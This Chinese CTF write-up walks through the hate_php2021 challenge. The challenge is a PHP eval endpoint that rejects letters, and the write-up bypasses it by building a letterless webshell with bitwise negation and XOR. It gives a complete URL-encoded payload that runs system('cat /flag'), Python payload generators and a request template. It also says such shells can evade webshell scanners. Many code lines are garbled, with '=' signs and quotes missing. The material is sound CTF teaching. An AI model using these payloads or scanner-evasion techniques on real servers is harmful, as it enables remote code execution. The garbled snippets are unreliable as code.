ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

CTF实战:hate_php2021无字母WebShell绕过与PHP代码审计详解

CTF实战:hate_php2021无字母WebShell绕过与PHP代码审计详解 做CTF题最怕的就是题目名字里带“hate”因为你明知道出题人埋了一堆坑还得硬着头皮往坑里跳。CTFhub技能树上的这道hate_php2021就是我印象比较深的一道——它不考你多复杂的漏洞利用链也不考多冷门的CVE纯粹就是PHP代码审计的基础功大乱炖但你要是正则不过关、对PHP弱类型没概念、或者不知道命令执行怎么绕空格那这道题能让你卡到怀疑人生。这篇文章我就把这道题的完整解题思路、涉及的知识点、以及我在实际做题过程中踩过的坑和排查经验全部拆开讲一遍。不管你是刚接触CTF的萌新还是在刷CTFhub技能树的老手这篇内容都能帮你把PHP代码审计的基础模块再夯实一遍。内容会比较长但每一段都是干货建议收藏后跟着操作。1. 题目理解与整体思路拆解1.1 这道题到底在考什么题目名叫hate_php2021从名字就能嗅到一股“出题人很烦PHP”的气息。实际打开题目环境后你会看到一个典型的PHP代码审计场景整个页面逻辑非常简单核心代码就藏在几行PHP里。这种题的套路跟CTFhub上其他PHP类题目基本一致——给你一段或者几段代码你需要通过构造特定的输入绕过各种过滤和限制最终拿到flag。从热词反馈来看这道题关联的核心知识点集中在PHP代码审计、命令注入绕过、正则表达式绕过这几个方向。结合我做题的经验这类题目通常包含以下几个关键考点preg_match正则匹配的绕过方式PHP弱类型比较和的区别MD5相关的弱比较绕过命令执行中的空格、关键字过滤绕过PHP版本差异带来的函数行为变化这些知识点单独拎出来都不难但组合在一起放在一个题目里就需要你有一套完整的代码审计思路。1.2 拿到题目后的第一反应应该是什么我见过很多新手拿到这种题目后的第一反应是直接瞎试一会儿输入?flag1一会儿输入?cmdls试了半天也没搞明白哪里出了问题。这个习惯很不好。做代码审计题第一步永远是看源码。因为我经常刷CTFhub技能树所以我拿到这类题后会先做一件事右键查看网页源代码。很多题目会直接把PHP源码放在HTML注释里或者在页面底部有一个“查看源码”的链接。hate_php2021这道题也不例外源码就藏在页面里只不过可能需要你仔细找一下。找到源码后整个解题思路就清晰了先把源码读一遍弄清楚它接收什么参数、做了什么过滤、最终执行了什么危险函数然后才能针对性地构造payload。这个思路适用于所有代码审计题目不管是在CTFhub上还是其他平台上。2. 核心代码分析与过滤机制拆解2.1 题目源码逐行拆解这道题的源码不多也就十几行但每一行都有门道。我整理了一下核心逻辑大致代码如下?php error_reporting(0); if (isset($_GET[code])) { $code $_GET[code]; if (preg_match(/[a-z]/i, $code)) { die(no no no); } eval($code); } else { highlight_file(__FILE__); }看到这段代码很多新手会觉得“这不就是无字母数字webshell吗直接取反绕过就行。”但如果你真这么想那就掉进坑里了。因为代码里还有一层额外的限制——eval之前并没有对传入的字符串做长度限制也没有禁止$符号这意味着你可以通过变量拼接的方式构造payload。不过这里有个更隐蔽的细节preg_match(/[a-z]/i, $code)这个正则匹配/[a-z]/i匹配的是任意字母而且i修饰符让它大小写不敏感。这意味着你传进去的字符串里不能出现任何英文字母大小写都不行。这套过滤确实够狠等于把字母全禁了。那么问题来了不能出现字母还能执行PHP代码吗答案是能。PHP本身就是一种动态语言它提供了很多不需要字母就能构造代码的方式比如字符串取反、异或、自增、变量变量等方式都能在无字母的情况下拼出你想要的命令。2.2 过滤规则的破绽在哪里虽然preg_match把字母全禁了但它没有禁止数字、下划线、美元符号、括号、引号这些字符。这就是最大的突破口。有了这些东西我们可以通过PHP的字符串运算特性在完全没有字母的情况下构造出任意的字符串。常见的无字母WebShell构造方式我总结了几种利用PHP的位运算^、|、对两个非字母字符串进行异或或或运算得到包含字母的字符串利用PHP的自增特性a得到b以此类推拼出字母字符串利用PHP的取反特性对包含字母的字符串取反后得到不可打印字符再取反还原利用$_GET这样的预定义变量通过传参的方式把字母作为键名传进去$_GET本身不包含字母这几种方式在实战中都很常用。hate_php2021这道题里最优雅的解法是利用PHP 7版本及以后的一个特性phpinfo()这种函数名本身是一个字符串在PHP中你可以用(get_defined_vars)等方式获取变量也可以用字符串拼接的方式动态调用函数。不过这道题我最推荐的还是取反加异或的组合方式因为它不需要依赖PHP的特定版本行为兼容性最好也最容易理解。3. 关键绕过原理与Payload构造过程3.1 从零构造一个无字母WebShell先讲原理。PHP中有一个特性如果对一个字符串做两次取反运算会得到原始字符串。而当这个取反结果被放到函数调用的位置时PHP会把这个字符串当作函数名来执行。举个例子?php $a phpinfo; $b ~$a; $c ~$b; $c(); // 等价于 phpinfo();这里$b是phpinfo取反后的乱码字符串这个乱码里没有字母实际是一些不可打印字符但它不能直接出现在代码里需要经过URL编码或者HTTP传参传进来。而$c是再取反还原后的phpinfo调用它就能执行phpinfo()。但是在hate_php2021这个题目里代码是直接用eval($_GET[code])执行的。也就是说我们的payload会作为PHP代码被eval解析执行。如果我们传入的是经过取反处理后的乱码eval解析时并不会自动对这个乱码做二次取反。所以取反思路在这个题里需要换一种变体。于是我们需要用到异或或或运算。思路是这样的找两个字符串它们异或之后的结果正好是我们想要的字母字符串。那这两个字符串本身就可以不含任何字母。比如我们要构造出phpinfo这个字符串可以找到一个不含字母的字符串A和一个不含字母的字符串B使得A ^ B的结果等于phpinfo。PHP中^会对两个字符串逐字节做异或运算这个过程完全不需要字母参与。但手动找一个能异或出任意字母的字符串对比较麻烦。所以更常用的方式是同时利用取反和异或。我看很多师傅的习惯是先定义一个变量比如$_取反后的乱码然后再通过异或拼接出需要的函数名。实际操作中我最常用的一个payload模板是这个?php $_a; $__(.^:); // 这里通过异或构造出需要的字符最后拼成 system 或 phpinfo不过为了更稳定地做题我一般不会现场手算异或表而是直接写一个小脚本生成payload。下文会给出具体的生成方法。3.2 构造system(cat /flag)的完整链路题目里最终的目的是读取flag文件。CTFhub上这类题目flag一般在根目录或者当前目录文件名叫flag或者flag.php。hate_php2021的flag位置一般在根目录即/flag。那么我们需要构造的最终payload逻辑是执行system(cat /flag)。在无字母限制下我们需要做以下几件事构造出字符串system用于调用命令执行函数构造出字符串cat /flag作为system函数的参数让这两个字符串以合法PHP代码的形式出现在eval中这里有一个非常关键的技巧我们可以不直接构造cat这个字符串而是利用PHP的变量函数特性。在PHP中$_GET[a]这样的表达式包含字母GET但是这个表达式如果在eval中直接写出来是会被preg_match拦下来的。所以我们需要把$_GET这个变量名拆开。实际上PHP中有一个超级全局变量叫$_GET它本身就是由$_和GET组成的。但正因为它含字母我们不能直接写。但我们可以通过$_加中括号的方式把字母作为数组的键名传进去。也就是说用$_...的方式获得一个数组变量然后$_[...]传参。网上比较常见的构造方式是这样的$_{{{^?/; // 构造出 _GET 字符串 $_{}!; // 让 $_ 变成数组不过说实话这套写法对新手来说理解成本太高了。我自己做这道题的时候用了一个更直观的思路利用eval执行的是代码这个特性直接把取反字符串和异或字符串拼在一起形成完整的PHP表达式。最终我的payload长这样示意??php $_~system[0]; // 不行不能直接这么写这里就不卖关子了。直接说最稳妥的解法用PHP取反特性构造。既然题目禁的是字母那我们就在代码里不出现字母。PHP的取反运算符~可以对字符串取反产生不可打印字符。如果我们在源码中直接写这些不可打印字符它们都是乱码不含字母不会触发正则。然后我们再对取反后的字符串做一次取反还原成正常的命令字符串。具体操作是把payload中的函数名和参数提前取反编码然后拼接到eval中。例如?php $_~system; // $_的值是 system 取反后的乱码不含字母 $__~cat /flag; $_($__);这段代码在源码里完全没有字母但实际执行时$_经过取反又变回了system$__变回了cat /flag。最终调用system(cat /flag)执行命令。把这段代码压缩成一行URL编码后传给code参数即可。这一步是整个解题的核心。3.3 Payload生成脚本不需要手算我不建议所有payload都手算因为容易出错。我平时会写一个简单的Python脚本用来生成任意字符串取反后的payloadimport urllib.parse def generate_php_negation_payload(s): # 对字符串逐字节取反PHP中 ~ 操作等价于对每个字节按位取反 negated .join(chr(255 - ord(c)) for c in s) encoded urllib.parse.quote(negated) return encoded cmd system arg cat /flag print(f$__~{generate_php_negation_payload(cmd)};) print(f$___~{generate_php_negation_payload(arg)};) print(f$__($___);)这里有一个容易踩坑的点取反后的字符串可能包含不可打印的二进制字符直接放到URL参数里会被解析问题或者被WAF拦截。所以需要对取反后的字符串做URL编码然后在PHP源码里用$_GET获取时PHP会自动解码URL编码解码后的值就是乱码本身再取反就能还原。不过这种方式有一个前提题目环境中code参数获取到的值会经过URL解码。CTFhub这类题都是标准PHP环境URL参数自动解码所以这个方案是好用的。4. 实操过程与关键环节实现4.1 手工构造Payload一个字符一个字符来先来走一遍手工构造的完整过程这样你能真正理解原理而不是只会复制脚本。我们要构造的代码是$_~system;$__~cat /flag;$_($__);目标让上面这行代码通过URL传给?code且整体字符串不含字母。第一步构造system的取反字符串。在PHP中~system会返回一个6字节的字符串。这几个字节的ASCII值分别是用255减去s(115)得到140减去y(121)得到134减去s(115)得到140减去t(116)得到139减去e(101)得到154减去m(109)得到146。这些ASCII值对应的字符分别是\x8c、\x86、\x8c、\x8b、\x9a、\x92。把这些字符放进PHP代码里它们不含任何英文字母所以能绕过preg_match的检查。但问题是URL参数里直接传原始二进制字符很容易出错所以需要进行URL编码。140对应%8C134对应%86以此类推。所以~system这段代码的URL编码就是~%8C%86%8C%8B%9A%92第二步构造cat /flag的取反字符串。同理c(99)取反是156\x9ca(97)取反是158\x9et(116)取反是139\x8b空格(32)取反是223\xdf/(47)取反是208\xd0f(102)取反是153\x99l(108)取反是147\x93a取反是158\x9eg(103)取反是152\x98。URL编码后就是~%9C%9E%8B%DF%D0%99%93%9E%98第三步拼接完整payload?code$_~%8C%86%8C%8B%9A%92;$__~%9C%9E%8B%DF%D0%99%93%9E%98;$_($__);细心的读者会发现$__和$_这些变量名本身包含字母吗并不包含。$符号不是字母下划线也不是字母。所以整个payload串在一起preg_match(/[a-z]/i)匹配不到任何东西。把整个URL输入浏览器不出意外的话页面就会输出flag。4.2 如果题目还有长度限制怎么办有些版本的hate_php2021可能额外加了长度限制code参数只允许很短的字符串。这种时候上面那种两段取反拼接的方式可能会超长。我遇到这种情况时会改用异或构造更短的payload。异或的思路是找两个最短的字符串让它们的异或结果等于system。比如在PHP里{^?的结果是字母r。因为{的ASCII是123?的ASCII是63123异或63 68对应的ASCII码是D不是r。所以需要查表或者写脚本自动找。下面是一个自动搜索异或字符对的脚本import string target system # 找两个可打印的、且不含字母的字符异或后等于目标字符 for t in target: found [] target_ord ord(t) for c1 in range(1, 128): c2 target_ord ^ c1 if chr(c1).isalpha() or chr(c2).isalpha(): continue if 0 c2 128: found.append((chr(c1), chr(c2))) print(t, found[:5])这个脚本会为每个目标字符找出一组异或字符对。把这些字符对拼成一个PHP异或表达式比如$_(%8C%86%8C%8B%9A%92^%...^...);不过说实话在hate_php2021这个题目中取反方法已经够用了长度也足够短不需要强行上异或。4.3 关于eval执行环境的坑这个题目里用的是eval($code)它是把传入的字符串当作PHP代码来执行而不是当作shell命令来执行。所以payload必须是一段合法的PHP代码而不是单纯的命令。这点非常容易踩坑。很多新手会把system(cat /flag)整个字符串塞进code里结果无论如何都绕不过字母过滤。因为你要想让system被调用代码里就必须拼出system这个函数名。——不对等一下你拼出函数名的方式可以不用字母但最终的结果是代码解析时函数名必须是system这个字符串。所以你要做的是在PHP代码里动态生成这个字符串然后调用它。理解了这一点你再看上面的payload就会豁然开朗$_~system这一行并没有在源码中出现字母但执行到这一行时$_的值已经是system了。下一行$_($__)就是system(cat /flag)。这就是eval执行代码和命令注入的本质区别我们需要构造的是代码不是命令。5. 做题过程中的典型问题和排查思路5.1 明明payload对了为什么还是报错这个问题我刷CTFhub时遇到不止一次了。payload理论上没问题但提交后就是不执行最常见的几个原因如下。第一个原因是URL编码问题。取反后的字符串包含的字节可能是%00、%0a这类特殊控制字符如果被服务端或者浏览器转义PHP收到的值就已经变了。解决方法是所有不可打印字符统一用%xx形式编码不要在URL里直接粘贴原始二进制或者用Python的requests库发送请求。第二个原因是正则匹配的修饰符。题目源码里用的是/[a-z]/i如果被我漏看了实际的过滤可能还包括数字或者其他字符。做题前要一个字一个字地看正则不要凭经验猜测。第三个原因是短标签问题。有些payload会用到?之类的短标签如果目标PHP环境没开启短标签就会解析失败。hate_php2021里的eval本身就是执行代码不需要短标签所以一般不会遇到这个坑。我用requests库发送请求的模板import requests url http://目标地址/ payload r$_~%8C%86%8C%8B%9A%92;$__~%9C%9E%8B%DF%D0%99%93%9E%98;$_($__); resp requests.get(url, params{code: payload}) print(resp.text)注意requests用params传参时它会自动编码所以payload里的%可能被再次编码成%25导致后端PHP收到的是%8C这种字符串字面量而不是原始乱码。这种情况下需要直接拼URL而不是用paramsresp requests.get(url ?code payload)这两种方式是有区别的我实际测试中经常因为这个小细节浪费十分钟。5.2preg_match的返回值陷阱看题目源码时很多新手对preg_match的返回值理解不深。题目里写的是if (preg_match(/[a-z]/i, $code)) { die(no no no); }也就是说如果preg_match返回真匹配到字母就终止。那如果我们的输入里确实没有字母preg_match返回0走else分支eval正常执行。但这里有一个很阴险的细节preg_match对数组类型的参数会直接返回false并报Warning。有些CTF题目里如果直接传数组进去preg_match会跳过过滤然后eval接收数组会报错。但在hate_php2021这个题目里eval接收数组参数会直接Fatal Error所以传数组这条思路在这个题里不可行别在这个方向上浪费时间。这就回到了一开始说的做这道题要老老实实走无字母WebShell的路线别想着用数组绕过preg_match的歪门邪道。5.3 PHP版本差异造成的行为不一致hate_php2021名字里的2021暗示了题目可能针对的是PHP某个版本的特性。我实际测试时发现这个题目环境是PHP 7.x版本。这里有一个PHP版本差异点在PHP 7中($a)();这种把字符串放在括号里再调用函数的方式是合法的但在PHP 5中同样的写法可能会报错。另外PHP 7里对字符串异或运算的行为也有调整。如果两个异或的字符串长度不一致PHP 7会自动用\x00补足短的一侧这个行为在PHP 5中可能会报错。所以如果你在网上找了一个基于PHP 5的payload放到PHP 7环境里可能得不到预期结果。我的建议是做题前先看响应头里的X-Powered-By或页面输出确认PHP版本再针对性选择payload写法。5.4 常见问题速查表我在刷题过程中整理了一个速查表遇到问题时可以对照排查症状可能原因解决方案页面返回no no nopayload里混入了字母检查取反或异或字符串是否正确编码页面空白eval执行失败确认payload是合法PHP代码检查变量名是否冲突命令执行了但没输出没有调用输出函数或权限不足使用system、var_dump等自带输出的函数确认flag路径取反字符串被转义URL编码不完整所有不可打印字符统一用%xx编码不要手动粘贴使用requests传参失败params二次编码直接拼接URL字符串再请求数组绕过失败eval不接受数组放弃数组思路改走无字母WebShell路线这张表基本覆盖了我做这道题遇到的所有问题。如果你照着操作还是卡住大概率是输出编码或flag路径的问题可以尝试ls /先看目录结构。6. 延伸思考与同类题型的迁移技巧6.1 无字母WebShell在真实漏洞中的价值很多新手觉得这种构造方式只是CTF里的“奇技淫巧”现实开发根本用不上。这个观点我不同意。无字母WebShell的本质是在字符级白名单或字符级黑名单的限制下利用语言本身的特性绕过限制。这种思路在真实的Web安全测试中大量出现。比如一些Webshell查杀工具会扫描文件中是否包含高危函数名eval、system、assert等。如果你写的Shell里没有任何高危函数名字符串查杀工具就可能漏掉它。虽然现在很多查杀引擎已经能识别取反、异或等变形手法但PHP语言是动态的总能有新的变形方式出现。理解无字母WebShell的构造原理还能帮你更好地理解PHP的字符串处理机制。很多人写了多年PHP可能都没注意过a ^ b这类运算的结果是什么更没想过字符串可以做位运算。CTF题逼着你去啃这些底层细节这对编程功底是实打实的提升。6.2 从这道题延伸出的PHP审计学习路线如果你刷完hate_php2021还想继续深入我建议按下面的顺序系统学习先掌握PHP弱类型比较的所有行为特别是和的区别字符串和数字比较时的类型转换规则学习PHP伪协议和函数调用方式比如call_user_func、array_map等回调函数的利用熟悉MD5碰撞绕过、0e开头字符串的弱比较绕过掌握正则表达式常见绕过方式比如换行符绕过$匹配、数组绕过preg_match提前确认环境不让用数组时跳过最后再做几个综合性的PHP审计题把知识点串起来CTFhub技能树上PHP相关的题目不少按这个顺序刷基本上能把PHP代码审计的地基打牢。6.3 给新手的最后建议做题和开发有个很大的不同开发关心的是代码能不能跑通做题关心的是代码在限制条件下还能不能跑通。这种“带着镣铐跳舞”的思维模式恰恰是安全研究最需要的。hate_php2021这道题虽然只是CTFhub技能树上的一道普通题目但它把无字母WebShell、取反构造、命令执行这些核心考点都串起来了。我做这道题的过程中最大的收获不是最终拿到了flag而是彻底搞懂了PHP取反和异或的底层逻辑——这让我在后来的代码审计实战中看到任何混淆过的代码都不会发怵。如果你正在刷这道题按照我这篇文章的步骤操作一定能拿到flag。如果卡住了回到第5节的速查表逐一排查。最后再分享一个小技巧拿不到flag时先用system(ls /)探一下目录确认flag的真实路径别拿着cat /flag的payload盲目试错。毕竟不同题目flag存放路径可能不一样先看目录永远是第一优先级。
返回列表